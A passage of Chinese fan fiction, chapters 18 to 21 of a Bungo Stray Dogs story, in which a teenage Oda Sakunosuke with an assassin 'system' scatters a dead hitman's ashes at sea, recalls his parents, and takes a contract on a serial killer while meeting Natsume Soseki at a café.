    这个杀手的报复是为了挚友，织田作之助从一开始就对清酒的报复感兴趣。


    第一次有人向他复仇。


    这对织田作之助来说是件可以耐心等待的事情。


    他有点失望，清酒这一个月没有用心策划对他的复仇，只关心那个尸体的葬礼。


    想着这点的织田作之助将藤原所说的计划抛到了脑后。


    如果他没有察觉出来，相信了那些错误信息，他只会和藤原一起死在今晚爆炸的游轮上。


    山本宽等着他的问题。


    酒吧的灯光照亮了吧台的所有东西。


    坐在吧台边的红发少年，和黑发中年人之间一时静了下来。


    只余黑发绿眸的中年人手里的酒杯时不时磕在吧台上的声音。


    那片钴蓝色的海洋里泛起迷茫的波浪。想了许久，织田作之助才问出了他的问题。


    “挚友是想要为他复仇的存在吗？”


    这是36号的问题？


    山本宽没有多想，也没有再多看一眼这个少年在他看来完全看不见同类的双眸。


    这是个很简单的问题。


    “当然。”


    应了一声，山本宽笑着举杯。


    他想要和36号碰个杯当做人生的结束。


    织田作之助的目光放在他举起的酒杯上，注意到里面重新倒上的酒微抿了唇。


    最后他还是和对方碰杯了。


    喝下这杯酒后，他看着清酒的嘴角留下血液。


    黑发的杀手在他面前口吐鲜血。


    血色染了衣襟。


    织田作之助安静地看着他没了呼吸。


    他自杀了。


    这个杀手知道他不会放过他，自己准备好了死亡。


    织田作之助的脑中出现一个想法，一个关于他自己的问题：他会怎么死亡，死了之后要葬在哪里。


    再回来的吉村太郎没看见山本的尸体，也没看见36号的尸体。


    他懂事的闭口不言。


    遗留的那些血液已经说明，死亡的是清酒。


    他最好什么也别说，保护和36号有关的一切信息。


    这样才能保住他的命。


    吉春太郎看着地面弯曲的一片片血，粘腻得和任何一个人的血都没有区别。


    他顿住，脑子里升起了金盆洗手的念头。


    他想离开横滨去找闺女了。


    这个越来越混乱的泥潭，太脏了。吉村太郎想起来36号冷静的蓝眸，那份冷到极致的平静让他也想起来了过去的生活。


    [作之助亲。你要带这个人去哪儿？]


    系统不解地看着织田作之助把这个人拖出来，扔进袋子里放在车上。


    它猜不到作之助亲想要干什么。


    [去火化]


    织田作之助在夜晚飙车。


    [我不会出钱给他买墓地]


    不会买墓地，却要火化？系统疑惑，作之助亲什么时候管过别人的尸体。


    [作之助亲为什么要火化他？]


    织田作之助看着夜色，白皙的脸侧明亮了一瞬。


    他转过头，看见了远处海面上升起的爆炸烟云。


    那应该就是港口黑手党的游轮，那个组织今天之后会实现一家独大。


    横滨的黑手党组织只要被毒品这种巨大利益诱惑引上游轮的都不会再阻挡港口黑手党的路。


    织田作之助在爆炸的一瞬光亮中想，没有为什么。


    [我要把他的骨灰洒海里，就当报复他算计我]


    [我死后也要把墓地选在靠海的地方，看着他不能入土为安]


    织田作之助冷着面容在内心说道。


    系统歪了歪头，[作之助亲，你在赌气他没死在你手上吗？]


    [亲亲。他都死了嘛，报复也算完成了]


    [不用纠结是不是作之助亲杀死的啦]


    织田作之助没有回应，只是加速了车速。


    这小孩对待报复喜欢自己亲手来，对方的自杀让他不满意。


    系统想着，一边又拍起照片了。


    这可是为数不多的作之助亲的可爱时刻！


    看着对方不能入土为安这种理由，可爱！


    不满的织田作之助也好可爱！


    默默拍好照片，系统看着照片上作之助亲。


    少年抿紧嘴角，隐隐泄露出几丝不服气，钴蓝色的眼眸更加暗沉，红发在夜色下泛着铁锈般的色彩，微鼓的脸颊露出几分稚气。


    可爱又帅气。系统欣赏了一会儿，反手放进了收藏夹里。

 18.海葬

    店外的阳光正好，暖融融的照在桌面上也照在了坐在凳子上的织田作之助身上。


    十四岁的少年低着头，目光定在了桌面上，钴蓝色的眼睛只在必要的时候眨两下。


    织田作之助这一晚上没有睡，先是趁着夜色消灭了藤原组，天空蒙蒙亮的时候去安排了火化，又去咖喱店帮忙了一上午。


    织田作之助有些疲倦，昨晚的火拼时在身上留下的细小擦伤快结痂愈合，细微的痛痒让他有点昏昏欲睡。


    依田玉子正在和丈夫聊天。


    “昨晚有听见爆炸声，动静真大，也不知道是哪个帮派混战了。”依田玉子叹口气，“在横滨的日子越来越不安稳了。”


    她在担心和丈夫的咖喱店还能不能开下去。


    依田玉子看向店外，玻璃门外今天明显多了些步履匆匆的身影。


    哪怕他们的小店远离横滨最混乱的中心，危险的形势也让依田玉子有了一丝危机意识。


    见到妻子紧张地捏住收银台边缘的动作，依田庆一走过去拍了拍妻子的头。


    他乐观地说道：“我们只是个小饭馆，那些人平时也没有来收保护费，以后也不会。玉子，安心些吧。”


    依田玉子看着身边的人笑了笑，她丈夫总是积极的生活。


    “说的也是。”依田玉子点点头，转头就注意到发呆的织田作之助。


    表情稀少的少年今天变得更呆了些。


    依田玉子轻唤了一声，对旁边冷着脸的红发少年说：“织田，今天可能没什么生意了，你可以回去休息了。”


    “玉子女士？”织田作之助转过头，茫然的神色一眼就能看出他没注意听依田玉子的话。


    这孩子露出疑惑的神色看起来就很乖巧，依田玉子轻笑着说：“织田今天可以结束工作回家了。”


    作之助亲的作息很规律，很少有一整夜不睡的情况。


    系统看看那个女性人类，再看看红发乱翘的织田作之助。


    从里面看出一些疲倦，系统恍然清醒他的宿主是个需要休息的人类，昨晚它一直兴奋宿主的杀人画面没关注他的身体。


    [作之助亲，你确实该休息一下]


    系统新奇地建议道。它家宿主平时太靠谱了也很会照顾自己，它没想过有一天会有提醒宿主睡觉的机会。


    在系统的声音落下后，织田作之助眼前晃了一下，这一下他也明白身体不能强撑着工作。


    他轻缓地点头，“好的，玉子女士。”


    依田庆一和织田少年道别，他对妻子的决定没有异议。


    不仅是他对织田少年的关心，还有似乎发生了不得了的事情，今天的客人变得很少。这让他也意识到今天不宜开店。


    离开咖喱店，织田作之助打算在车内休息，他还没有出发去找新居所。


    漆黑洁亮的车身早在昨晚的动作里布满灰尘。


    藤原东给的这辆车变成这副模样还要怪系统给出的速度buff。


    十几分钟的时间里，织田作之助先是控制自己的速度，再要控制车速，buff状态下一个细微的动作都能让车辆飞驰出去。


    掌控行车路线成了难题。


    昨晚的织田作之助差点出车祸。


    没人知道那十几分钟里他经历了怎样的危险，他的车技都被迫提升了几个度。


    织田作之助嫌弃了一下灰扑扑的车身，等后备箱的骨灰扔进大海里，他就丢了这辆车。


    坐进后座，从衣兜里拿出缩小的房子，变成模型一般的房屋重量极轻，织田作之助拿在手上看了一会儿。


    蒙上一层薄雾的蓝眸呆了呆：


    忘记在缩小前把里面的相框和录像带拿出来了。


    微蹙了眉头，困倦的织田作之助将白色小房子放在后座的中间，不太容易的蜷起身体躺下，将它护在腹部。


    漆黑的大衣被他盖在身上，将少年和他的家一同掩在布料下。


    夜幕沉沉时，漆黑的车身外还时不时跑过几个黑衣人，步履慌乱，神情急切。


    昨天港口黑手党组织的那场爆炸带走了很多组织，这些黑手党下面归属的这些底层成员现在都在紧急确认自己的上司还在不在。


    他们能做的只有背叛现在的组织投奔港口黑手党或者组织力量反抗港口黑手党。


    按照以往墙头草的表现，哪家组织势力大就附庸哪家，他们应该选择港口黑手党。


    但现在大部分人犹豫了。


    因为他们听说了一件事：藤原组一夜覆灭的消息。


    他们本宅和新的大本营都被爆炸销毁成废墟，所有中上层成员都消失了只剩下那些将要发展成正式成员的边缘人员和未在据点的成员。


    爆炸销毁的手法很难不让他们联想到用爆炸带走众多黑手党首领的港口黑手党。


    一个恐怖的猜想在他们心脏里盘旋：


    港口黑手党要的不仅仅是消灭首领吸纳势力，而是要连同所有组织成员一起，送整个组织去死。


    横滨的□□成员一方面感受到这个组织的恐怖，恐惧在心脏里震动，一方面对这种不留情面的做法恨意难平。


    原本这只在高层的争斗，火拼后杀了对方的领导者再吞并地盘和势力，中底层头顶上不过是再换个领导人。


    现在港口黑手党一副赶尽杀绝的姿态让他们恐惧，恐惧之后就是想要咬牙拼一把，至少在死之前为活下去挣扎一回。


    光是这短短半天，港口黑手党首领的刺杀悬赏就出现在了地下网络上。


    港口黑手党预计中反扑最小的争地盘计划开始失控。


    中层的□□平时不管上面腥风血雨，也不管下面的痛哭惨叫，这时候却一致选择抵抗。


    车厢内无意识影响了局势的少年安稳的睡着，头顶翘起的发丝轻颤了两下似乎在回应横滨未来烈火烹油的形势。


    再次醒来，月光已经透过车窗照在一团红发上。


    织田作之助的双眸快速清醒，揉了一把头发后轻巧敏捷地挪了位置去前座。


    [作之助亲，你醒了啊]


    系统欢快的喊着宿主的名字，作之助亲睡着的时候它呆着很无聊。


    [嗯]


    应了一声，织田作之助打转了方向盘。


    它以前会在织田作之助睡着的时候说话。


    后来被他的低气压惊了一次才意识到打扰了对方。


    系统在变换的车窗外景中想到过去的事，确认了这个小少年休息好了才问：


    [作之助亲，我们去哪儿？]


    [去海边]


    对方给他的挚友入土为安，他一定很看重这点。


    织田作之助抬着骨灰盒，这里面放着山本宽所有骨灰。


    助跑跳跃，精瘦的腰身弓起，手臂上抬，手腕一沉一松，善恶观很弱的红发少年丝毫不客气的把骨灰盒里的骨灰，连同里面没有烧完的骨头一起抛进了大海。


    漆黑的骨灰盒在夜海上划过一道闪亮的弧线，扑通一声掉进无边的大海。


    月光在海面上散发着莹莹的光辉，昨晚这片海洋埋葬了一群黑手党首领，今天送葬了一个杀手。


    做完这件事，织田作之助站在沙滩上，海风吹起他的红发，露出微弯的眉眼。


    死无葬身之地。


    系统能感觉到作之助亲的心情好了许多。


    对方对他的复仇中途夭折但那也是杀心。


    织田作之助怎么报复也不为过。但它觉得他有点幼稚。这种报复方法，虽然是挫骨扬灰了，但莫名像是给对方举办海葬。


    它没再想下去，作之助亲和它说话了。


    [系统。我以后有了想发展成挚友的人要带他去lupin]


    织田作之助盯着面前的沙滩，月光在红发的边缘洒落，钴蓝色的


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    眼睛像夜晚沉重的海域，泛着清凉的银光。


    他想要再拥有一个可以为之复仇的人。


    除去父母的角色，现在这个人类的角色是挚友。


    这个十四岁的少年想着眯起眼睛看远处的海面，内心更期待他会成为一个人的挚友。


    会有一个人也愿意为挚友复仇，为他复仇。


    他没有想过用生命平息报复的火焰，这个世界没有宽恕。如果不能让挚友复仇，他会选择在临死前同归于尽。


    少年预料着未来的死亡，然后接受死亡，还猜想死后会发生什么。


    下一秒，系统的吵闹轻扰了他的想象。


    高昂兴奋的声音充斥进织田作之助的大脑。


    [亲亲！你在和我说你的未来！作之助亲！这是第一次！]


    [系统亲没听错，对吧。我没有听错！]


    织田作之助转身，绷着嘴角不想回答。


    他不明白一个期待的想法，系统还要求证，他说的很清楚。


    他不理，系统加重了语气，[作之助亲，系统亲好感动，系统亲要哭了]


    织田作之助对他展露了他内心的心愿。哪怕这只是一个交朋友的想法。


    系统真有点哭腔了。


    两年啊。


    整整两年。它软磨硬泡了两年，这个少年才给了它信任。


    时间太长，它都对自己一直保持热情这件事感动了。


    织田作之助听着脑子里的吵闹声抽了眉，它这么激动，说着莫名的话是傻了吗？


    怎么突然又要哭了。


    被怀疑傻了的系统转头又高兴地问：[作之助亲，我们明天去做任务怎么样]


    它太过兴奋，还笑了几声。对它放心的作之助会好好工作吧，它能早点攒够能量。


    又哭又笑的声音让织田作之助动作一顿，[你没出问题？]


    [你的情绪变得很快，是疯了吗？]


    是疯了吗？


    疯了吗？


    疯了？


    系统只觉织田作之助的声音在环绕。


    织田作之助怀疑它精神有问题！系统立马叫冤，[系统亲才没有疯，更没有出问题]


    [明明是作之助亲您这两年真的冷淡。每次系统亲先开口，还动不动叫系统亲安静]


    [您这几日的主动开口，刚刚还主动向系统亲表达了您的未来期待，系统亲简直受宠若惊]


    [我只是情绪活跃了点，才不是疯了。]


    在系统嘟囔声中，织田作之助沉默一阵，他问：[你要出来吗？]


    话语闪过他和系统交流的意识海里，震住了喋喋不休的系统。


    织田作之助知道他在说什么吗？


    怎么可能！


    [你来到现实的世界，也许就不会无聊]


    织田作之助像在说一个如吃饭喝水一样普通的提议，语气也不见起伏。


    听说总在一个地方的人会被逼疯。这个系统也是吧？


    它应该是无聊到疯了，刚哭了转头又笑，还吵。


    红发少年没信系统说的没疯。


    系统怔愣的，缓缓看向外面的少年。


    作之助亲的脑子怎么长的，一脸平静的提出这种疯狂的事情。


    它能离开宿主身体，那不就变成了独立的生命，能够用行动实现自己的想法。


    宿主不是都害怕系统会背叛或者暗地里有小心思吗。


    在宿主身体里，他们的身份就是人类和工具。


    一旦它出现在现实，它会是生命。两个生命之间很难保持上下级的服从关系。


    作之助亲真不怕它出现在现实里颠倒他们的身份，强迫他完成任务？


    系统按住心动的核心，难耐的想：怎么会有这么不讲道理的人。


    一旦决定相信就不自觉交付出所有的信任，之前试探它的作之助去哪儿了。

 19.杀手织

    [不用，不用的。]系统的话有点磕巴，[系统亲在作之助亲的身体里运行的很好]


    它不愿意。织田作之助点头。


    [好的]


    夜晚一下子安静下来，系统拍了拍核心，想想这两年看见的织田作之助吧，它不能在服务这个宿主时有过多的贪心。


    攒够能量，帮宿主完成评分。


    这是它该做的。


    系统从心动的疯狂中清醒过来，转头又叮嘱自家不省心的宿主。


    [我知道作之助亲现在信任我，但也不要提这件事了，这对作之助不好。系统只应该是系统]


    信任它？


    织田作之助刚走到公路旁，听见系统的直球一愣，紧接着回忆起很久以前的事情。


    信任这两个字很沉重，说出口就意味着要负责。


    就像父亲母亲对他。


    血色的骨头在旁边散落着，红发男人一边收拾一边笑妻子胆小，然后被瞪了一眼。


    回头看着自己儿子如镜面一样冷硬的蓝眼睛，女人戳了戳他的额头，戳散他眼里凝固的暗色，笑他：“我的宝物，在多想什么？”


    她温柔地注视着男孩颤动一下的目光，“我只是被骨头吓到，不是被作之助吓到了。母亲不会害怕作之助，你父亲也不会。”


    说着她指了指旁边一脸淡定还能笑出来的男人，“你看他笑出来的傻样子，看不出来害怕对吧。”


    作之助转过头，视线探究地看了一会儿，接着抿唇点头。


    父亲傻乎乎的，很呆，他没有怕他。


    擦着血迹，男人抬手做了一个鬼脸，一张脸血糊糊的，“当然不怕，作之助是我儿子，就是杀人也可爱。”


    明明只是个装修工，心脏却不是一般的强大。


    不忍看那个血鬼脸，织田作之助转回视线看母亲，糊了一脸的血证明自己，父亲好幼稚。


    发觉儿子明显放松了，棕发女人给丈夫一个笑脸才问了一开始就该问的问题。


    在她回头吸引了儿子的注意后红发男人才放松了手指的颤抖。


    儿子突然带了一堆人骨回家，他是有些心颤的，但那是他的孩子，作为父亲不可以有后退逃避他的想法。


    “这个在母亲店里捣乱的人是作之助杀的吗？”棕发女人问。


    红发男孩摇头，“我看见他掉进了屠宰场的机器，这点骨头是我收出来的。我以为母亲看见会开心，他死了。”


    单纯的语气下是近乎残忍的观念。


    她的儿子对父母之外的人无视到了连对方的生命都感受不到的程度。


    没去深想一个小孩怎么靠近的屠宰场，女人微微颤抖地吻了作之助的额头：


    “作为父母天然的得到了作之助的信任，父亲母亲要对作之助负责，包括教导，爱护和陪伴。”


    “作之助，我要教你了。答应母亲，除非危害到你的性命，不要用杀戮的方式处理人类。”


    她让自己的用词贴近儿子的思维，用上了处理和杀戮。


    年□□孩的那双冷色的蓝眼睛因为母亲想要的承诺抬起，他抬头望进另一双温暖的蓝眼睛里。


    “危害到父亲母亲，我也会动手。”他的语气平淡，五岁的织田作之助理解母亲为什么强调杀戮，她真正担心的是他习惯这种场面以后再也感受不到温暖的情感。


    面无表情的男孩觉得母亲的担忧不必要，他能感受只是觉得不重要。


    可是看着母亲恳切的目光，织田作之助还是应了下来。


    女人知道儿子听进去了她的话。她笑了笑，“好。母亲和作之助约好了。”


    接着她抱起白皙肉乎乎的脸蛋上还带着血的织田作之助，一边走着一边问：


    “作之助回来的时候有清理痕迹吗？”


    红发蓝眸的男孩茫然，清理痕迹是什么？


    女人捏了捏他的脸，总是表现的冷酷，话还少，但还是个小孩子嘛，需要爸爸妈妈爱着的小孩。


    作之助带死人骨头回来这件事只能他们来想办法瞒下来了。她不希望因为这件事让周围的邻居对作之助有异样的眼光。


    她和丈夫都明白，少言的作之助可能被贴上冷血的标签，甚至会有不利于作之助的谣言。


    “带一推骨头回家。”蓝眸的女人无奈地用力揉他的头，“作之助给我的生日礼物真是完全想不到。”


    织田作之助视线晃了晃，好像又被母亲的力道不客气的揉推了一次。


    织田作之助舌尖抿到一丝微苦。


    他们都食言了。


    母亲对父亲的爱浓烈到夺走了她的生命。


    父亲没有避开枪火的能力，黑手党夺走了他的生命。


    他们都没有陪伴他，也没有一直对他负责。


    他也是。


    他们死亡的那一刻，失去了和这个世界的血缘联系，他心里那份关于杀意的底线也随着爆炸后散落的残肢一起消失。


    死去的藤原东说他固执，不肯和这个世界有更多联系，全凭借一份雇佣的金钱交易。织田作之助带着那点微苦低下头看着车门的一角。


    他是错的。


    藤原是个有趣的人，内心挣扎，善意和恶意彼此扭曲纠缠。不伤害年幼的孩童转头又把孩子当成算计他的筹码，初见随意聊天转头又可以玩笑般的推他去对付他的父亲。


    他不算讨厌藤原，允许对方称呼他作之助，也不曾拒绝这个人的靠近，甚至和对方说过咖喱的手艺来自母亲。


    如果只是雇佣，这些都不是任务里该出现的东西。


    和藤原再相处一段时间也许会很有意思，但是他不该对他有太多想象和自以为是的理解，以及执念。


    织田作之助想到他刚刚毫不留情割断的这份缘分，恍然被母亲推了一把的错觉让他站在黑暗中抬头，看向头顶缝隙里探进来的阳光。


    应该是阳光吧？织田作之助按了按手指。


    这个系统会因为他放松态度或者一句我生气了的话语退步，对方想要能量却也照顾了他的心情。


    柔软的情感在这个世界算得上是阳光了。


    织田作之助笑了下，不是以往微小只出现刹那的笑容。他笑着，嘴角翘起，白齿微露，真心实意。


    因为一句话，一个错觉，他就想要和这个系统建立关系。


    彼此负责的关系。


    系统看着宿主的笑容，那是个很漂亮的笑容，按说它应该记录的，但很少笑的作之助弯唇笑着，系统一时只是呆呆的看他。


    [我答应你的绑定了]


    离系统绑定已经过去一个月了，这个红发少年这一刻才应下这场绑定，决定对这个系统负责。


    织田作之助的笑意未尽，他说出口的话足以称得上轻声细语。


    希望这个系统不要辜负他的


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    信任。他可以容忍这个寄生物从他的行动中获取能量，至于系统，它要做到的就是稳稳接住他的信任。


    他对内心的系统说：


    [合作愉快]


    系统回神高兴着，欢快的说：[合作愉快，作之助亲！]


    一个月不工作，一枪能杀死的山口不杀，作之助亲虽然有被事件影响但就是故意的。系统给现在的织田作之助拍了张照片，心里因为错过笑容遗憾了些。


    这是系统认定的天生杀手。


    照片上的红发少年耳后就是微蓝的月光。


    作之助亲对自己也冷酷到了一定程度。用自己的血肉去体验惩罚，试探它的无害，审判它是否有人性，这样的作之助也很美丽呢。


    系统收拾了一下心情问：


    [作之助亲，您现在的职业完美评分为（50/100）]


    [昨夜的任务完成的很好。您下个月的任务目标由系统来为您规划可以吗]


    织田作之助没有先回答它，他从车内收拾出大衣穿上，口袋里的手枪和小房子分开放好。


    从车顶取下自行车，织田作之助拿出在藤原组武器库里搜来的炸弹。


    在车内放好炸弹，织田作之助在稍远的地方按动了炸弹开关。


    轰鸣的爆炸声卷起火舌，整个车身燃起火焰，玻璃碎片在黑烟雾中四处飞溅。


    销毁了最后一点和藤原有关的东西，织田作之助背对着燃烧的黑车跨上自行车，红发随风向后，心绪在凉意中平静。


    他说：


    [可以。下一次任务，你来定]


    [系统亲保证给作之助亲找个收割后能量值不错的任务目标]


    系统搓搓手，它接手织田作之助的任务选择，某种意义上他是把性命交给它了。


    它得好好选择。


    花了两天找新住所但没找到满意的，织田作之助决定先看看系统给他找的任务。


    湛蓝的面板上出现任务资料。


    系统从那些雇佣他的任务里筛选出来的这一份是要让他杀一个最近闹出不小动静的连环杀人犯。


    这个目标杀了雇主的女儿，第二天早上还把受害者的双手寄到了雇主家里。


    雇主一方面害怕对方上门杀他全家，一方面想要给女儿报仇，给出丰厚的报酬悬赏这个人。


    要求也要砍下他的手。


    将任务交给系统来挑选后织田作之助体验到了它的能力。


    雇主并不清楚杀害他女儿的人叫什么名字，身形如何，但系统全部调查出来了。


    草野阳平的身份信息完全透明，连住址和最近的行动路线都被调查出来了。


    织田作之助：[我只需要在他的活动路线上蹲点？]


    [是的。作之助亲可以选择在咖啡店等待目标出现。草野阳平每天下午会去这家名叫稻里的咖啡店待上两到三个小时]


    织田作之助收拾装备的手不停：[为什么不建议我去他家里直接暗杀]


    系统说：[他的住址其实是他的停尸房，只有狩猎到猎物才会回去。他还没找到新猎物，最近两天都没有在家]


    决定按系统的建议在咖啡店蹲点，织田作之助想了想这次的任务目标，转身拿出黑色双肩包将配枪和装备扔进去。


    单肩跨上这个双肩包，织田作之助上身穿了一件白衬衫，配上简单的黑裤看起来像一个学生。

 20.杀手织

    闲逛到系统指定的咖啡店，在进去前织田作之助拐进了旁边的书店。


    [作之助亲？]


    系统疑惑他为什么进书店了。


    [找点道具装成普通客人]


    织田作之助一听就知道它在疑惑什么，解释道。


    织田作之助没有特意选一本书，他走到书架前看也没看就随意抽了一本出来交给了店员。


    店员看见这本书愣了下，还有人买这个小说啊，真是少见。


    他心里这么想不只是最近没人买，还有这本书库存只有五六本，他索性就都整齐排在书架角落，这个少年居然能挑出来。


    因为这本书是比较早期写出来的，很少重新出版印刷，市面上很难找全整卷。


    这家书店里也只有上卷和中卷。


    店员收了钱，在目送这个顾客出去前喊住了他。


    “请等一下。”


    织田作之助停下脚步回头看他。


    店员从收银台旁抽出一本书，示意给这个少年看。


    “你买的这本书店里有两卷，你买的是上卷，这本是中卷。”


    “这本小说很好看，你也许会想要看下去。这本是店里唯一的中卷了，你要买吗？”


    店员乘机推销一下，横滨生意不景气，多卖出去一本是一本。


    织田作之助低头，将书的正面翻过了一看，映入眼帘的是作者的名字。


    “夏目漱石”


    是这本书啊。


    织田作之助之前在书店兼职的时候看过这本书，没想到随手抽出来的就是这本书。


    但他没有看过中卷。


    那家书店里只有上卷。


    抬头看着店员手里的中卷，织田作之助点头，“好。”


    成功卖出去这本书，店员微笑送走这位顾客。


    生意惨淡的时候也就只有学生会来买书了，小少年长得帅气也好说话。


    捏着两本书的书脊，织田作之助走进咖啡店扫了眼环境。


    面前这家咖啡店外面也设了座位，客人不多，但这里还是不适合处理目标。


    [作之助亲今天天气不错，你要去外面喝咖啡吗。系统亲记得你很喜欢晒太阳]


    系统想起来总坐在家外的长椅上的织田作之助。


    那天被藤原东的人找到他也是在晒太阳假寐。


    转头看了眼外面湛蓝的天空，织田作之助应下系统的建议。


    [好]


    织田作之助点了一杯咖啡，走到外面坐下，书包被放在旁边的椅子上。


    展开中卷的书页，他的视线放在第一页的文字上。


    [我要看一会儿书，你可以和我一起看]


    织田作之助的手指按住书页的一角。


    作之助亲在邀请它吗！系统惊讶，难得有一天作之助亲不嫌它吵让它安静唉！


    [好啊，我和作之助亲一起看]系统忙点头。


    系统和织田作之助看书的时候时不时绷出几句话讨论书里的剧情。


    等到这本不算长的书读完，系统恍然织田作之助居然没让它闭嘴唉？！


    还会和它讨论。


    系统眸光发亮地看向重新翻到第一页，安静阅读的少年。


    这就是作之助亲接受绑定的好处吗！


    织田作之助正想要重读一遍这本小说，忽地侧边遮蔽了一片阴影。


    那是个手拿拐杖，头戴礼帽，过长刘海遮住右眼的中年人。


    织田作之助抬头看了一眼后正要低下头。


    无关的人，不需要注意。


    他极静的蓝眼睛给身前这个中年人留下了深刻的印象。


    人性稀薄地像是天空下飘渺的云雾，但它很安静稳定，连接住了云雾下冰冷透彻的深海。


    眯起眼睛，夏目漱石忽然来了兴趣。这个少年是个杀手，他这本小说的结尾也描写了一位杀手。


    他原本只是看见了眼熟的东西一时兴起过来凑近。


    走近的时候心中的猜想就已经确认了。这个少年看着的就是他的小说。


    那么这个少年对它有什么看法？


    兴致所至，夏目漱石笑问：“孩子。这本书有趣吗？”


    织田作之助翻页的手停下，视线放在了这个中年人身上。


    出于礼貌他没有拒绝回答这个问题。


    “有趣，这本书的故事很吸引我。”


    夏目漱石看向桌上放着的两本书，“你阅读到哪个章节了？”


    “上卷和中卷已经都读过了。”织田作之助回道，手指穿过书背合上了这本书露出中卷的标题。


    “有读过下卷吗？”


    “没有。我没有买到下卷。”织田作之助看了眼小说封面，这本中卷是他这次意外买到的，下卷应该更难买到了。


    “这本小说的下卷很糟糕，也许对你来说读到这里就足够了。”夏目漱石沉吟道。


    他读过下卷？织田作之助不准备接受这个建议，“那可不行。”


    系统心想：作之助亲刚刚看完中卷，这个人就说看到这就行了，后续的故事不行。他是故意让作之助感兴趣吗？


    织田作之助看着他，心中徒生好奇，他问：“你是谁？”


    眼前的中年人拄着拐杖笑道：“夏目漱石。”


    这个名字，织田作之助低头确认书上的名字，这不就是这本书的作者吗。


    夏目漱石的视线在这个少年的身上停留一瞬，教导出两个弟子，他能看出这个少年杀手的身手应该不错。


    心中划过一丝念头，也许让这个小少年重写下卷是个不错的注意。在他看来他自己不曾体验过纯粹作为杀手的生活，这本书的下卷写得一直不如他意。


    “或许你可以来为这个小说写一个完美的结局，写书即是写人，你有这个资格。”


    作家描述人生塑造角色的生死，面前这个少年是个杀手更能体会到身为一个杀手的真实，他能够写出下卷。


    还有一点是，夏目漱石能看出这个少年身上有股书卷气，他识字还有一定的阅读水平。他可不会建议一个不识字的杀手续写自己的书。


    织田作之助抬头怔住，他在建议他写小说？


    系统惊了，怎么前有厨师想拐作之助亲学习手艺，后有作家想拐作之助亲写小说！


    都跟它抢人！


    系统按住核心，作之助亲还真心动了！它的核心都幻痛了！


    [作之助亲，你不想当杀手了吗？]


    恐慌又害怕的系统抱紧核心，在一阵阵幻痛中哭了出来。


    它不想作之助换职业，更改核心模式真的很痛。


    作之助要食言了吗，他刚刚答应它的绑定。


    它今天第一次好好帮宿主规划任务，好不容易被接受，被使用，结果作之助就要改主意不当杀手了。


    系统委屈又难过。怎么它这次的绑定就这么不顺利！


    [能不能不改职业去续写小说，作之助亲]


    系统恳求着。


    织田作之助眼中划过茫然，[我不当杀手，你哭什么？]


    [作之助亲不当杀手，系统要更改核心模式，从杀手转变成作之助新决定的职业]


    [这个过程我很痛，而且有可能更改情感模式。这会让我变得不像是我]


    系统没有用上它的设定口癖，它是真的在害怕。织田作之助心下一顿。


    [别怕。不哭了。我还没决定续写这本小说]


    [可是作之助亲有这个想法，你心里很动心]


    系统像个哭泣的小孩一样反驳道。它核心的幻痛就是证明。


    织田作之助无奈，怎么它总是哭。


    织田作之助


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    深觉这个系统一会儿沉稳一会儿跳脱的性格让他头疼。


    织田作之助抿唇，和面前等待他答案的夏目漱石对视，“恕我拒绝。我不会续写这本小说。”


    没想到他会拒绝，夏目漱石仔细观察他的神色，嘴上说着宽恕拒绝，眼里却一点波动也没有。


    看来他是真不想写。


    “真是遗憾啊，孩子。有缘再见。”


    被拒绝的夏目漱石没有纠缠让这个杀手去续写小说，他还有事情要调查。


    他有个弟子想要接近港口黑手党借助这个组织的势力稳定横滨，但这个组织这几天发展势头不对，他这个做老师的总要调查一下，给学生兜底。


    转身离开的夏目漱石心思回到调查原本应该顺利吞并其余组织的港口黑手党怎么突然被反扑上。


    织田作之助见他走了，一边展开书籍一边哄内心的系统。


    [好了。我拒绝了]


    系统从他拒绝的时候就愣愣的，这时候也不能回神。


    [作之助亲，你为了我改主意了吗？]


    [嗯]


    系统恍惚，这是真的唉。不是一个动作或者一个尝试，作之助亲真的因为它改变了一个未来的憧憬。


    [先当杀手，评分完美后我怎么改职业都没有关系吧]


    织田作之助翻着书页，说出的话显然并没有完全放弃这个憧憬。他只是拒绝续写这个人的小说和现在去写小说。


    [是的。作之助亲可以在一个职业达到完美后选择新职业]


    系统说着还有点意外，[作之助亲怎么知道的？]


    作之助对系统的事情都不关心，每次都是它做科普的工作。


    [这两天把系统手册看了]


    织田作之助想着它刚刚的慌乱，道：[你刚刚太慌了吗？自己的设定都忘记了]


    系统心想还不是作之助亲每次只做自己想做的事，转头注意到他还说了什么。


    他看了手册！系统震住，[作之助亲，你居然看了！两年了你都没看，这两天就看了！]


    织田作之助暂时停下阅读下一段，微眯了眼眸。


    有人在注视他。


    [我想知道怎么配合你就看了看]


    织田作之助一边猜想是不是他蹲点的任务目标出现了，一边回道。


    他的话让系统完全忘记伤心，幻痛都消失了。作之助亲这个意思不就是，他以前完全没想过配合他的任务，打算晾着它一辈子。


    系统回神离开激动喊道：[亲亲！请一直是现在的作之助亲！]


    它真接受不了作之助亲晾它一辈子，没能量回不了家那就真完蛋了。


    只是看个系统手册，它怎么又高兴了。织田作之助想着他的系统最近情绪不太稳定，留意到那道视线更不掩饰地看他的手。


    草野阳平正像往常一样来这家咖啡店待上几个小时。


    还未进去，草野阳平就注意到了一个人。


    一个突然到访这里的红发少年。


    干净的白衬衫衬托的他身形显瘦，脊背挺直，神情恬静专注的阅读手中的书。


    他的视线随着红发少年的衣衫转移到他的手。


    不是他厌恶的那种手握咖啡杯，纤长细软的手。


    那双手骨节分明，手背泛着几处青色，腕骨有力。


    草野阳平眯起眼睛，虽然不是他平时狩猎的猎物，但是莫名的他产生了一点收藏欲。


    掩饰下眼中的贪念，草野阳平捻了捻手提包的带子。


    这还是他第一次对一双手产生收藏的想法。


    他的神色被立在墙头的一只三花猫尽收眼底。


    正要伪装离开的夏目漱石直觉眼前这个长发束起的棕发青年要对那个红发少年做出些什么事。


    三花猫停下，圆润的猫眼容纳着面前的两人。

 21.杀手织

    织田作之助没有抬头看是什么人在盯着他的手看。


    平复心情的系统通知了他这件事。


    系统假咳了两声，希望作之助亲别在意它哭的事情。


    太有失水准了。


    能让它破防这么多次的也就是作之助亲。


    [作之助亲，您的任务目标已出现哦。亲亲，他在看你的手]


    系统通知完，接着核心一跳，目光不住地打量这个注定死亡的任务目标。


    束起的棕色长发前面容清秀，确实是他们要找的任务目标。


    但是那双黑色眼眸里的神色是不是有点怪。


    再仔细看看，系统心下又不太确定了。好像就是个普通人。


    这个人是个少年，不太符合他的目标。草野阳平遗憾收拾好眼里的恶意，嘴角缀上一点笑。


    他还是喜欢选择女性。


    织田作之助立刻感觉到那股视线将要撤开。


